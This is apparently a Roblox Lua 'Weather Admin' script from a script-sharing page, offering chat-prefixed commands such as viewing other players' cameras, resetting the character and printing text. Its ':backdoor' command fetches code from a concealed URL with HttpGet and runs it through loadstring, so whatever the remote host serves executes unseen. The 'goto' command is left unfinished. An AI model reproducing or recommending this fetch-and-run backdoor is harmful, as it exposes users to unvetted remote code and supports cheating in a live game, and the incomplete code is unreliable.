print 'executed the script'

print 'Weather Admin ⛈️ Loaded ! Script by TheWheatherChanger ye i have an ortographe error in my name and?'


local msg = Instance.new("Message",workspace)
msg.Text = "Weather Admin ⛈️ Loaded !"
wait(5.8)
msg:Destroy()

local prefix = ":"
local LPlayer = game.Players.LocalPlayer
LPlayer.Chatted:Connect(function(msg)
	msg = msg:lower()
	if string.sub(msg,1,3) == "/e " then
		msg = string.sub(msg,4)
	end
	if string.sub(msg,1,1) == prefix then
		local cmd
		local space = string.find(msg," ")
		if space then
			cmd = string.sub(msg,2,space-1)
		else
			cmd = string.sub(msg,2)
		end
		
		if cmd == "print" then
			local var = string.sub(msg,space+1)
			print(var)
		end
		if cmd == "reset" then
			game.Players.LocalPlayer.Character:BreakJoints()
		end
        if cmd == "view" then
                local var = string.sub(msg,space+1)
                local target = GetPlayer(var)
                game.Workspace.CurrentCamera.CameraSubject = target.Character.Head
        end
        if cmd == "unview" then
                game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Head
        end
        if cmd == "cmds" then
                local msg = Instance.new("Message",workspace)
                msg.Text = "Commands Got Printed In Console Say /console or press F9"
                wait(5.8)
                msg:Destroy()
                print 'Weather ⛈️ Admin Commands : :cmds , :view [PLAYER] , :unview , :reset , :print [CONTENT] , :backdoor , :goto[working on]'
        end
        if cmd == "backdoor" then
                loadstring(game:HttpGet("https://[Log in to view URL]",true))()
        end
        if cmd == "goto" then
             local player
    for i, plr in ipairs(game.Players:GetPlayers()) do
    if string.lower(plr.Name):sub(1, string.len(msg:sub(7))) == string.lower(msg:sub(7)) then
        player = plr.Name
    end
                end
        end
		
	end
end)

function GetPlayer(String)
    local plr
    local strl = String:lower()
        for i, v in pairs(game:GetService("Players"):GetPlayers()) do
            if v.Name:lower():sub(1, #String) == String:lower() then
                plr = v
            end 
        end
        if String == "me" then
                plr = game.Players.LocalPlayer
            end
        if String == "" or String == " " then
           plr = nil
        end
    return plr
end

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: